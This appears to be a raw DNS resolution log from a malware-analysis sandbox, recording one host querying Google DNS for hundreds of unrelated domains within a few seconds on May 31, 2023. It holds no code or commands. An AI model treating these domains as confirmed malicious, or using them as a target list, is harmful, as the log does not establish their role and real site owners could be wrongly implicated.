May 31, 2023 14:51:58.273919106 CEST	8.8.8.8	192.168.2.3	0x3c13	No error (0)	fundeo.com		172.67.97.62	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.273919106 CEST	8.8.8.8	192.168.2.3	0x3c13	No error (0)	fundeo.com		104.24.160.27	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.279772997 CEST	8.8.8.8	192.168.2.3	0xd9ef	No error (0)	kursavto.ru		31.177.76.70	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.279772997 CEST	8.8.8.8	192.168.2.3	0xd9ef	No error (0)	kursavto.ru		31.177.80.70	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.280760050 CEST	8.8.8.8	192.168.2.3	0xb449	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.286981106 CEST	8.8.8.8	192.168.2.3	0x73f2	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.294076920 CEST	8.8.8.8	192.168.2.3	0x2a6b	No error (0)	anduran.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:58.294076920 CEST	8.8.8.8	192.168.2.3	0x2a6b	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:58.294076920 CEST	8.8.8.8	192.168.2.3	0x2a6b	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.294076920 CEST	8.8.8.8	192.168.2.3	0x2a6b	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.301918030 CEST	8.8.8.8	192.168.2.3	0x242c	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.323151112 CEST	8.8.8.8	192.168.2.3	0x6de6	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.323151112 CEST	8.8.8.8	192.168.2.3	0x6de6	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.333036900 CEST	8.8.8.8	192.168.2.3	0x2dd9	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.333036900 CEST	8.8.8.8	192.168.2.3	0x2dd9	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.334117889 CEST	8.8.8.8	192.168.2.3	0xbd1c	Name error (3)	agitz.com.br	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.345149040 CEST	8.8.8.8	192.168.2.3	0xcc76	No error (0)	tabbles.net		80.211.41.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.352643013 CEST	8.8.8.8	192.168.2.3	0xc77c	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.352881908 CEST	8.8.8.8	192.168.2.3	0xbd3e	No error (0)	adventist.ro		49.12.155.123	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.354073048 CEST	8.8.8.8	192.168.2.3	0x821f	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.354870081 CEST	8.8.8.8	192.168.2.3	0xb15f	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.383527994 CEST	8.8.8.8	192.168.2.3	0xa292	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.383586884 CEST	8.8.8.8	192.168.2.3	0xfc67	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.426776886 CEST	8.8.8.8	192.168.2.3	0x71cf	No error (0)	pcoyuncu.com		213.142.131.159	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.432820082 CEST	8.8.8.8	192.168.2.3	0x5797	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.434355021 CEST	8.8.8.8	192.168.2.3	0xbc05	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.446177959 CEST	8.8.8.8	192.168.2.3	0x3d4	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.446573973 CEST	8.8.8.8	192.168.2.3	0xb582	No error (0)	mackusick.de		217.160.0.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.468310118 CEST	8.8.8.8	192.168.2.3	0xd61c	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.468542099 CEST	8.8.8.8	192.168.2.3	0x5b21	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.485090971 CEST	8.8.8.8	192.168.2.3	0x23e3	No error (0)	arowines.com		75.2.18.233	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.488956928 CEST	8.8.8.8	192.168.2.3	0xae47	No error (0)	www.wnsavoy.com		96.91.204.114	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.510128975 CEST	8.8.8.8	192.168.2.3	0xa9c0	No error (0)	dwid.de		87.230.93.218	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.525393009 CEST	8.8.8.8	192.168.2.3	0x959e	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.528564930 CEST	8.8.8.8	192.168.2.3	0x8d7d	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.566792965 CEST	8.8.8.8	192.168.2.3	0x38d3	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.579711914 CEST	8.8.8.8	192.168.2.3	0x5d01	No error (0)	hamaker.net		34.102.136.180	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.585796118 CEST	8.8.8.8	192.168.2.3	0x9538	No error (0)	techtrans.de		185.237.66.112	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.632801056 CEST	8.8.8.8	192.168.2.3	0x12e0	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.645390034 CEST	8.8.8.8	192.168.2.3	0xad22	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.646980047 CEST	8.8.8.8	192.168.2.3	0x8e91	No error (0)	flamingorecordings.com		35.214.171.193	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.650614023 CEST	8.8.8.8	192.168.2.3	0x9f52	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.656033993 CEST	8.8.8.8	192.168.2.3	0x16c4	No error (0)	host.do		217.79.248.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.665628910 CEST	8.8.8.8	192.168.2.3	0x91eb	Name error (3)	89gospel.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.682286024 CEST	8.8.8.8	192.168.2.3	0x3106	No error (0)	revoldia.net		154.210.36.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.707195044 CEST	8.8.8.8	192.168.2.3	0xe7e3	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.772013903 CEST	8.8.8.8	192.168.2.3	0xbb95	No error (0)	coxkitchensandbaths.com		205.149.134.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.868949890 CEST	8.8.8.8	192.168.2.3	0x224	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.884426117 CEST	8.8.8.8	192.168.2.3	0x9625	No error (0)	assideum.com		52.219.98.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.886322021 CEST	8.8.8.8	192.168.2.3	0x86ef	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.886322021 CEST	8.8.8.8	192.168.2.3	0x86ef	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.890322924 CEST	8.8.8.8	192.168.2.3	0xf8a7	No error (0)	cnti.krsn.ru		217.74.161.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.914026022 CEST	8.8.8.8	192.168.2.3	0x1820	No error (0)	t-trust.jp		183.181.82.14	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.924397945 CEST	8.8.8.8	192.168.2.3	0x954	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.934608936 CEST	8.8.8.8	192.168.2.3	0x8c33	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.935462952 CEST	8.8.8.8	192.168.2.3	0xfb35	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.949934959 CEST	8.8.8.8	192.168.2.3	0xbfab	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.960310936 CEST	8.8.8.8	192.168.2.3	0x313f	No error (0)	4locals.net		80.82.115.227	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.966830015 CEST	8.8.8.8	192.168.2.3	0x3611	No error (0)	muhr-soehne.de		5.189.171.125	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:58.969350100 CEST	8.8.8.8	192.168.2.3	0x1844	No error (0)	banvari.com		23.227.38.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.016088009 CEST	8.8.8.8	192.168.2.3	0xecc8	No error (0)	calvinly.com		216.239.34.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.016088009 CEST	8.8.8.8	192.168.2.3	0xecc8	No error (0)	calvinly.com		216.239.38.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.016088009 CEST	8.8.8.8	192.168.2.3	0xecc8	No error (0)	calvinly.com		216.239.36.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.016088009 CEST	8.8.8.8	192.168.2.3	0xecc8	No error (0)	calvinly.com		216.239.32.21	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.016387939 CEST	8.8.8.8	192.168.2.3	0xbe9a	No error (0)	metaforacom.com		185.42.105.162	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.036158085 CEST	8.8.8.8	192.168.2.3	0xe43b	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.069017887 CEST	8.8.8.8	192.168.2.3	0xa96a	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.069017887 CEST	8.8.8.8	192.168.2.3	0xa96a	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.069017887 CEST	8.8.8.8	192.168.2.3	0xa96a	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.079884052 CEST	8.8.8.8	192.168.2.3	0x3d15	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.095665932 CEST	8.8.8.8	192.168.2.3	0xdd31	No error (0)	dbnet.at		188.94.254.88	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.125386953 CEST	8.8.8.8	192.168.2.3	0x94a2	No error (0)	any-s.net		108.170.12.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.221546888 CEST	8.8.8.8	192.168.2.3	0x6864	No error (0)	at-shun.com		210.140.73.39	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.248555899 CEST	8.8.8.8	192.168.2.3	0x7eef	No error (0)	forbin.net		172.67.148.35	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.248555899 CEST	8.8.8.8	192.168.2.3	0x7eef	No error (0)	forbin.net		104.21.41.152	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.249979019 CEST	8.8.8.8	192.168.2.3	0x4e2b	No error (0)	camamat.com		104.21.235.32	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.249979019 CEST	8.8.8.8	192.168.2.3	0x4e2b	No error (0)	camamat.com		104.21.235.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.257153988 CEST	8.8.8.8	192.168.2.3	0x278	No error (0)	strazynski.pl		85.128.196.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.319742918 CEST	8.8.8.8	192.168.2.3	0x5cf6	No error (0)	diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.328800917 CEST	8.8.8.8	192.168.2.3	0xc3da	No error (0)	shiner.com		104.21.27.205	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.328800917 CEST	8.8.8.8	192.168.2.3	0xc3da	No error (0)	shiner.com		172.67.143.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.356215000 CEST	8.8.8.8	192.168.2.3	0x602c	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.518635988 CEST	8.8.8.8	192.168.2.3	0xbfd3	No error (0)	web-york.com		219.94.129.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.549477100 CEST	8.8.8.8	192.168.2.3	0xad84	No error (0)	impexnc.com		204.11.56.48	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.574743986 CEST	8.8.8.8	192.168.2.3	0xa161	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.585088015 CEST	8.8.8.8	192.168.2.3	0x4611	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.591146946 CEST	8.8.8.8	192.168.2.3	0xabfe	No error (0)	reproar.com		194.143.194.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.612257957 CEST	8.8.8.8	192.168.2.3	0xa41a	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.612257957 CEST	8.8.8.8	192.168.2.3	0xa41a	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.612411976 CEST	8.8.8.8	192.168.2.3	0x7ac1	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.616688013 CEST	8.8.8.8	192.168.2.3	0xd362	No error (0)	kallman.net		185.76.64.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.665879965 CEST	8.8.8.8	192.168.2.3	0x3a58	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.679146051 CEST	8.8.8.8	192.168.2.3	0x65f1	No error (0)	assideum.com		52.219.178.208	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.683363914 CEST	8.8.8.8	192.168.2.3	0x8948	No error (0)	sgk.home.pl		89.161.136.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.691052914 CEST	8.8.8.8	192.168.2.3	0xf58	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.691052914 CEST	8.8.8.8	192.168.2.3	0xf58	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.707297087 CEST	8.8.8.8	192.168.2.3	0x98b3	Name error (3)	cpwpb.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.714929104 CEST	8.8.8.8	192.168.2.3	0x11df	No error (0)	sigtoa.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.714929104 CEST	8.8.8.8	192.168.2.3	0x11df	No error (0)	sigtoa.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.726202011 CEST	8.8.8.8	192.168.2.3	0x90eb	No error (0)	leapc.com		35.231.13.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.759274960 CEST	8.8.8.8	192.168.2.3	0x1f37	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.759274960 CEST	8.8.8.8	192.168.2.3	0x1f37	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.761990070 CEST	8.8.8.8	192.168.2.3	0x8480	No error (0)	rkengg.com	traff-6.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:59.761990070 CEST	8.8.8.8	192.168.2.3	0x8480	No error (0)	traff-6.hugedomains.com	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:51:59.761990070 CEST	8.8.8.8	192.168.2.3	0x8480	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		18.119.154.66	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.761990070 CEST	8.8.8.8	192.168.2.3	0x8480	No error (0)	hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com		3.140.13.188	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.796792030 CEST	8.8.8.8	192.168.2.3	0x8444	No error (0)	www.diamir.de		94.130.146.206	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.823690891 CEST	8.8.8.8	192.168.2.3	0x741a	No error (0)	kumaden.com		49.212.180.178	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.835189104 CEST	8.8.8.8	192.168.2.3	0xa3ad	No error (0)	oaith.ca		192.124.249.12	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.852054119 CEST	8.8.8.8	192.168.2.3	0xedd5	No error (0)	akdeniz.nl		109.71.54.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.854289055 CEST	8.8.8.8	192.168.2.3	0x68a0	No error (0)	mackusick.com		217.160.0.179	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.854665995 CEST	8.8.8.8	192.168.2.3	0x9b13	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.859057903 CEST	8.8.8.8	192.168.2.3	0xc6de	No error (0)	roewer.de		45.142.176.225	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.861670971 CEST	8.8.8.8	192.168.2.3	0x3151	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.861670971 CEST	8.8.8.8	192.168.2.3	0x3151	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.861670971 CEST	8.8.8.8	192.168.2.3	0x3151	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.861670971 CEST	8.8.8.8	192.168.2.3	0x3151	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.874267101 CEST	8.8.8.8	192.168.2.3	0xd508	No error (0)	dhh.la.gov		52.200.51.73	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.909120083 CEST	8.8.8.8	192.168.2.3	0x8035	No error (0)	karmy.com.pl		185.253.212.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.929128885 CEST	8.8.8.8	192.168.2.3	0x1c0d	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.934802055 CEST	8.8.8.8	192.168.2.3	0xc385	Server failure (2)	webband.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.967588902 CEST	8.8.8.8	192.168.2.3	0x9592	No error (0)	rappich.de		89.31.143.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.968003035 CEST	8.8.8.8	192.168.2.3	0x431	No error (0)	acraloc.com		192.64.150.164	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.992362976 CEST	8.8.8.8	192.168.2.3	0x66e1	No error (0)	hyab.se		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:51:59.992362976 CEST	8.8.8.8	192.168.2.3	0x66e1	No error (0)	hyab.se		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.058301926 CEST	8.8.8.8	192.168.2.3	0x54ce	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.069771051 CEST	8.8.8.8	192.168.2.3	0x5bb2	No error (0)	ramkome.com		62.75.216.107	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.168756008 CEST	8.8.8.8	192.168.2.3	0x92b6	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.178037882 CEST	8.8.8.8	192.168.2.3	0x2338	No error (0)	icd-host.com		192.252.159.165	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.178037882 CEST	8.8.8.8	192.168.2.3	0x2338	No error (0)	icd-host.com		192.252.159.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.190135956 CEST	8.8.8.8	192.168.2.3	0x3b47	No error (0)	ldh.la.gov		75.2.95.235	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.255359888 CEST	8.8.8.8	192.168.2.3	0xb1b	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.262584925 CEST	8.8.8.8	192.168.2.3	0xbb68	No error (0)	karila.fr		89.107.169.125	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.302923918 CEST	8.8.8.8	192.168.2.3	0x59f0	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.302923918 CEST	8.8.8.8	192.168.2.3	0x59f0	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.309375048 CEST	8.8.8.8	192.168.2.3	0x2317	No error (0)	insia.com		82.208.6.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.328228951 CEST	8.8.8.8	192.168.2.3	0xbfd8	No error (0)	cpmteam.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.328228951 CEST	8.8.8.8	192.168.2.3	0xbfd8	No error (0)	cpmteam.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.374963999 CEST	8.8.8.8	192.168.2.3	0xaa32	No error (0)	orlyhotel.com		104.21.48.207	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.374963999 CEST	8.8.8.8	192.168.2.3	0xaa32	No error (0)	orlyhotel.com		172.67.156.49	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.396867990 CEST	8.8.8.8	192.168.2.3	0xb18a	No error (0)	htsmx.net		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.439677954 CEST	8.8.8.8	192.168.2.3	0xe811	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.441524029 CEST	8.8.8.8	192.168.2.3	0x8107	No error (0)	wahw.com.au		54.194.190.151	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.463304043 CEST	8.8.8.8	192.168.2.3	0x602	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.463304043 CEST	8.8.8.8	192.168.2.3	0x602	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.469790936 CEST	8.8.8.8	192.168.2.3	0x80ed	No error (0)	magicomm.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.486546040 CEST	8.8.8.8	192.168.2.3	0xe3f6	No error (0)	redgiga.com		104.21.76.38	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.486546040 CEST	8.8.8.8	192.168.2.3	0xe3f6	No error (0)	redgiga.com		172.67.186.153	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.494606018 CEST	8.8.8.8	192.168.2.3	0xe171	No error (0)	mjrcpas.com		47.91.170.222	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.498737097 CEST	8.8.8.8	192.168.2.3	0x26bd	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.573601961 CEST	8.8.8.8	192.168.2.3	0x1567	No error (0)	willsub.com		69.89.107.122	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.630461931 CEST	8.8.8.8	192.168.2.3	0x83d	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.645191908 CEST	8.8.8.8	192.168.2.3	0x2670	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.652173042 CEST	8.8.8.8	192.168.2.3	0x40d9	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.688699961 CEST	8.8.8.8	192.168.2.3	0x7e53	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.725265980 CEST	8.8.8.8	192.168.2.3	0x4121	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.725265980 CEST	8.8.8.8	192.168.2.3	0x4121	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.725265980 CEST	8.8.8.8	192.168.2.3	0x4121	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.734749079 CEST	8.8.8.8	192.168.2.3	0x523d	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.757832050 CEST	8.8.8.8	192.168.2.3	0x713f	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.831424952 CEST	8.8.8.8	192.168.2.3	0xc09b	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.837033033 CEST	8.8.8.8	192.168.2.3	0x13a	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.847245932 CEST	8.8.8.8	192.168.2.3	0x4cbc	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.883352041 CEST	8.8.8.8	192.168.2.3	0x4500	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.905829906 CEST	8.8.8.8	192.168.2.3	0xa665	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.927143097 CEST	8.8.8.8	192.168.2.3	0xe9a0	No error (0)	lyto.net		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.927143097 CEST	8.8.8.8	192.168.2.3	0xe9a0	No error (0)	lyto.net		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.940234900 CEST	8.8.8.8	192.168.2.3	0x7c84	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.978024960 CEST	8.8.8.8	192.168.2.3	0xd1f3	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:00.981987000 CEST	8.8.8.8	192.168.2.3	0x82a4	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.070480108 CEST	8.8.8.8	192.168.2.3	0x3d15	Server failure (2)	awal.ws	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.093915939 CEST	8.8.8.8	192.168.2.3	0x8c01	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.100748062 CEST	8.8.8.8	192.168.2.3	0xdb2b	No error (0)	s5w.com		192.99.226.184	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.574951887 CEST	8.8.8.8	192.168.2.3	0xfdad	No error (0)	nels.co.uk		5.134.13.210	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.609724045 CEST	8.8.8.8	192.168.2.3	0xa830	No error (0)	a-domani.com		183.90.232.24	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.610131979 CEST	8.8.8.8	192.168.2.3	0xa722	Name error (3)	anteph.org	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.666342974 CEST	8.8.8.8	192.168.2.3	0x523b	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:01.666342974 CEST	8.8.8.8	192.168.2.3	0x523b	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
